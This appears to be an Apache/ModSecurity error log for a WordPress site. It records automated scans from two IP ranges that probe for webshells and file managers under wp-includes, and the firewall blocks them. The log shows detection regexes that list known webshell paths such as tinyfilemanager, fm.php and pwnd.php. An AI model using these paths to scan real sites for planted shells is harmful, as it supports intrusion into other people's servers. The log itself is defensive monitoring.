[Sat Feb 28 22:10:17.391733 2026] [:error] [pid 39184:tid 39235] [client 45.86.200.238:50479] [client 45.86.200.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aaL3SVtZF9Zd_U7easDeWgAAAFA"]
[Sat Feb 28 22:10:17.966868 2026] [:error] [pid 52460:tid 52487] [client 45.86.200.223:52527] [client 45.86.200.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aaL3SbLWOogAgHGh62SvogAAAZg"]
[Sat Feb 28 22:10:22.156403 2026] [:error] [pid 39183:tid 39212] [client 45.86.200.227:62363] [client 45.86.200.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aaL3ThCf4HvhVePw3LZ8EwAAABQ"]
[Sat Feb 28 22:10:24.079524 2026] [:error] [pid 49763:tid 49767] [client 45.86.200.214:55727] [client 45.86.200.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/index.php"] [unique_id "aaL3ULTHSOG_yf2PpqG1lQAAAcE"]
[Sat Feb 28 22:10:29.883333 2026] [:error] [pid 49763:tid 49784] [client 45.86.200.220:44795] [client 45.86.200.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aaL3VbTHSOG_yf2PpqG1vQAAAdI"]
[Sat Feb 28 22:10:34.414021 2026] [:error] [pid 49763:tid 49787] [client 185.82.72.107:62589] [client 185.82.72.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/about.php"] [unique_id "aaL3WrTHSOG_yf2PpqG1_wAAAdU"]
[Sat Feb 28 22:10:40.711925 2026] [:error] [pid 52460:tid 52472] [client 45.86.200.248:41219] [client 45.86.200.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aaL3YLLWOogAgHGh62Sv5wAAAYk"]
[Sat Feb 28 22:10:49.065103 2026] [:error] [pid 39184:tid 39232] [client 185.82.72.206:51041] [client 185.82.72.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/about.php"] [unique_id "aaL3aVtZF9Zd_U7easDerwAAAE0"]
[Sat Feb 28 22:10:51.925842 2026] [:error] [pid 49763:tid 49786] [client 45.86.200.224:56797] [client 45.86.200.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-class.php"] [unique_id "aaL3a7THSOG_yf2PpqG2YwAAAdQ"]
[Sat Feb 28 22:11:20.627327 2026] [:error] [pid 49763:tid 49766] [client 45.86.200.234:45967] [client 45.86.200.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aaL3iLTHSOG_yf2PpqG2ngAAAcA"]
[Sat Feb 28 22:11:21.233601 2026] [:error] [pid 49763:tid 49785] [client 45.86.200.248:61579] [client 45.86.200.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aaL3ibTHSOG_yf2PpqG2oQAAAdM"]
[Sat Feb 28 22:11:21.902972 2026] [:error] [pid 49763:tid 49779] [client 45.86.200.232:54243] [client 45.86.200.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.232, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaL3ibTHSOG_yf2PpqG2pwAAAc0"]
[Sat Feb 28 22:11:25.376850 2026] [:error] [pid 49763:tid 49782] [client 45.86.200.232:54243] [client 45.86.200.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aaL3jbTHSOG_yf2PpqG2xAAAAdA"]
[Sat Feb 28 22:11:29.861948 2026] [:error] [pid 39292:tid 39294] [client 45.86.200.244:22913] [client 45.86.200.244] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaL3kaIAO5fN7BxyqcGRdQAAAMA"]
[Sat Feb 28 22:11:30.481650 2026] [:error] [pid 52460:tid 52484] [client 45.86.200.220:42317] [client 45.86.200.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aaL3krLWOogAgHGh62SwcgAAAZU"]
[Sat Feb 28 22:11:38.204936 2026] [:error] [pid 11791:tid 11796] [client 185.82.72.9:46611] [client 185.82.72.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aaL3mmuX5e1Q32gqxH3VbwAAAQM"]
[Sat Feb 28 22:11:38.834283 2026] [:error] [pid 11791:tid 11811] [client 45.86.200.219:57557] [client 45.86.200.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aaL3mmuX5e1Q32gqxH3VcAAAARI"]
[Sat Feb 28 22:11:48.555793 2026] [:error] [pid 39183:tid 39192] [client 45.86.200.241:55223] [client 45.86.200.241] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aaL3pBCf4HvhVePw3LZ9bgAAAAA"]
[Sat Feb 28 22:11:53.315001 2026] [proxy_fcgi:error] [pid 39185:tid 39258] [client 45.86.200.218:44181] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:11:55.711083 2026] [:error] [pid 39185:tid 39249] [client 45.86.200.218:44181] [client 45.86.200.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/function.php"] [unique_id "aaL3qxVE-FfM89u7BQauvwAAAIM"]
[Sat Feb 28 22:11:56.373831 2026] [:error] [pid 52460:tid 52473] [client 45.86.200.216:30451] [client 45.86.200.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/plugins.php"] [unique_id "aaL3rLLWOogAgHGh62Sw8QAAAYo"]
[Sat Feb 28 22:12:00.886892 2026] [:error] [pid 39292:tid 39306] [client 185.82.72.103:32305] [client 185.82.72.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/chosen.php"] [unique_id "aaL3sKIAO5fN7BxyqcGRkwAAAMw"]
[Sat Feb 28 22:12:01.547786 2026] [:error] [pid 39292:tid 39295] [client 45.86.200.246:59775] [client 45.86.200.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aaL3saIAO5fN7BxyqcGRlgAAAME"]
[Sat Feb 28 22:12:14.093580 2026] [:error] [pid 52460:tid 52463] [client 45.86.200.220:46707] [client 45.86.200.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/atomlib.php"] [unique_id "aaL3vrLWOogAgHGh62SxRgAAAYA"]
[Sat Feb 28 22:12:14.694337 2026] [:error] [pid 11791:tid 11803] [client 45.86.200.251:43257] [client 45.86.200.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aaL3vmuX5e1Q32gqxH3VnQAAAQo"]
[Sat Feb 28 22:12:23.354918 2026] [:error] [pid 49763:tid 49786] [client 45.86.200.238:25275] [client 45.86.200.238] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/index.php"] [unique_id "aaL3x7THSOG_yf2PpqG3YwAAAdQ"]
[Sat Feb 28 22:12:23.952675 2026] [:error] [pid 39184:tid 39232] [client 45.86.200.234:22141] [client 45.86.200.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aaL3x1tZF9Zd_U7easDf0gAAAE0"]
[Sat Feb 28 22:12:24.511878 2026] [:error] [pid 39183:tid 39198] [client 45.86.200.229:23907] [client 45.86.200.229] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aaL3yBCf4HvhVePw3LZ9tgAAAAY"]
[Sat Feb 28 22:12:34.333651 2026] [:error] [pid 11791:tid 11812] [client 45.86.200.250:47503] [client 45.86.200.250] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aaL30muX5e1Q32gqxH3VtQAAARM"]
[Sat Feb 28 22:12:37.098839 2026] [:error] [pid 49763:tid 49772] [client 45.86.200.215:56807] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aaL31bTHSOG_yf2PpqG3nAAAAcY"]
[Sat Feb 28 22:12:48.226588 2026] [:error] [pid 39183:tid 39195] [client 45.86.200.224:49651] [client 45.86.200.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.224, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/js/wp-login.php"] [unique_id "aaL34BCf4HvhVePw3LZ-UwAAAAM"]
[Sat Feb 28 22:12:58.188650 2026] [:error] [pid 39183:tid 39211] [client 45.86.200.224:49651] [client 45.86.200.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/bk/index.php"] [unique_id "aaL36hCf4HvhVePw3LZ-gwAAABM"]
[Sat Feb 28 22:12:58.783636 2026] [:error] [pid 39185:tid 39267] [client 45.86.200.234:22367] [client 45.86.200.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.200.234, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aaL36hVE-FfM89u7BQavPwAAAJU"]
[Sat Feb 28 22:13:16.608333 2026] [proxy_fcgi:error] [pid 39185:tid 39249] [client 45.86.200.234:22367] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:13:40.863450 2026] [:error] [pid 39185:tid 39264] [client 45.86.200.234:22367] [client 45.86.200.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/about.php"] [unique_id "aaL4FBVE-FfM89u7BQavhwAAAJI"]
[Sat Feb 28 22:13:47.139455 2026] [:error] [pid 49763:tid 49783] [client 45.86.200.232:39673] [client 45.86.200.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aaL4G7THSOG_yf2PpqG4MwAAAdE"]
[Sat Feb 28 22:13:51.658664 2026] [:error] [pid 49763:tid 49776] [client 185.82.72.104:53431] [client 185.82.72.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aaL4H7THSOG_yf2PpqG4UAAAAco"]
[Sat Feb 28 22:14:09.010588 2026] [:error] [pid 11791:tid 11801] [client 45.86.200.245:42223] [client 45.86.200.245] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aaL4MWuX5e1Q32gqxH3V-gAAAQg"]
[Sat Feb 28 22:14:13.450523 2026] [:error] [pid 52460:tid 52474] [client 45.86.200.240:35347] [client 45.86.200.240] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aaL4NbLWOogAgHGh62SyiQAAAYs"]
[Sat Feb 28 22:14:16.170719 2026] [:error] [pid 39292:tid 39312] [client 45.86.200.228:36621] [client 45.86.200.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aaL4OKIAO5fN7BxyqcGTJQAAANI"]
[Sat Feb 28 22:14:24.500960 2026] [proxy_fcgi:error] [pid 52460:tid 52485] [client 45.86.200.224:47913] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:14:24.802485 2026] [proxy_fcgi:error] [pid 52460:tid 52464] [client 45.86.200.224:47913] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:14:25.104007 2026] [:error] [pid 52460:tid 52473] [client 45.86.200.224:47913] [client 45.86.200.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aaL4QbLWOogAgHGh62SyvgAAAYo"]
[Sat Feb 28 22:14:25.708354 2026] [:error] [pid 39183:tid 39216] [client 45.86.200.242:48955] [client 45.86.200.242] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aaL4QRCf4HvhVePw3LZ_1wAAABg"]
[Sat Feb 28 22:14:38.664911 2026] [:error] [pid 39183:tid 39200] [client 45.86.200.215:49273] [client 45.86.200.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aaL4ThCf4HvhVePw3LaAAAAAAAg"]
[Sat Feb 28 22:14:41.556015 2026] [:error] [pid 39184:tid 39219] [client 45.86.200.235:33635] [client 45.86.200.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "aaL4UVtZF9Zd_U7easDhAgAAAEA"]
[Sat Feb 28 22:14:47.708514 2026] [:error] [pid 39184:tid 39228] [client 45.86.200.239:47993] [client 45.86.200.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aaL4V1tZF9Zd_U7easDhGQAAAEk"]
[Sat Feb 28 22:15:01.202814 2026] [:error] [pid 49763:tid 49778] [client 45.86.200.214:32035] [client 45.86.200.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aaL4ZbTHSOG_yf2PpqG5_wAAAcw"]
[Sat Feb 28 22:15:01.833954 2026] [proxy_fcgi:error] [pid 52460:tid 52483] [client 45.86.200.230:42691] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:15:05.982345 2026] [:error] [pid 52460:tid 52475] [client 45.86.200.230:42691] [client 45.86.200.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aaL4abLWOogAgHGh62SzTwAAAYw"]
[Sat Feb 28 22:15:15.219644 2026] [proxy_fcgi:error] [pid 49763:tid 49770] [client 185.82.72.106:45507] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 22:15:17.334021 2026] [:error] [pid 49763:tid 49769] [client 185.82.72.106:45507] [client 185.82.72.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.82.72.106, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aaL4dbTHSOG_yf2PpqG6kQAAAcM"]
[Sat Feb 28 22:15:25.800042 2026] [:error] [pid 49763:tid 49773] [client 185.82.72.106:45507] [client 185.82.72.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aaL4fbTHSOG_yf2PpqG6zgAAAcc"]
[Sat Feb 28 22:15:28.522428 2026] [:error] [pid 39183:tid 39196] [client 185.82.72.102:38203] [client 185.82.72.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aaL4gBCf4HvhVePw3LaAfQAAAAQ"]
[Sat Feb 28 22:15:34.797620 2026] [:error] [pid 52460:tid 52466] [client 45.86.200.225:26891] [client 45.86.200.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aaL4hrLWOogAgHGh62SztwAAAYM"]
[Sat Feb 28 22:15:42.142878 2026] [:error] [pid 39292:tid 39302] [client 185.82.72.182:52505] [client 185.82.72.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aaL4jqIAO5fN7BxyqcGTggAAAMg"]
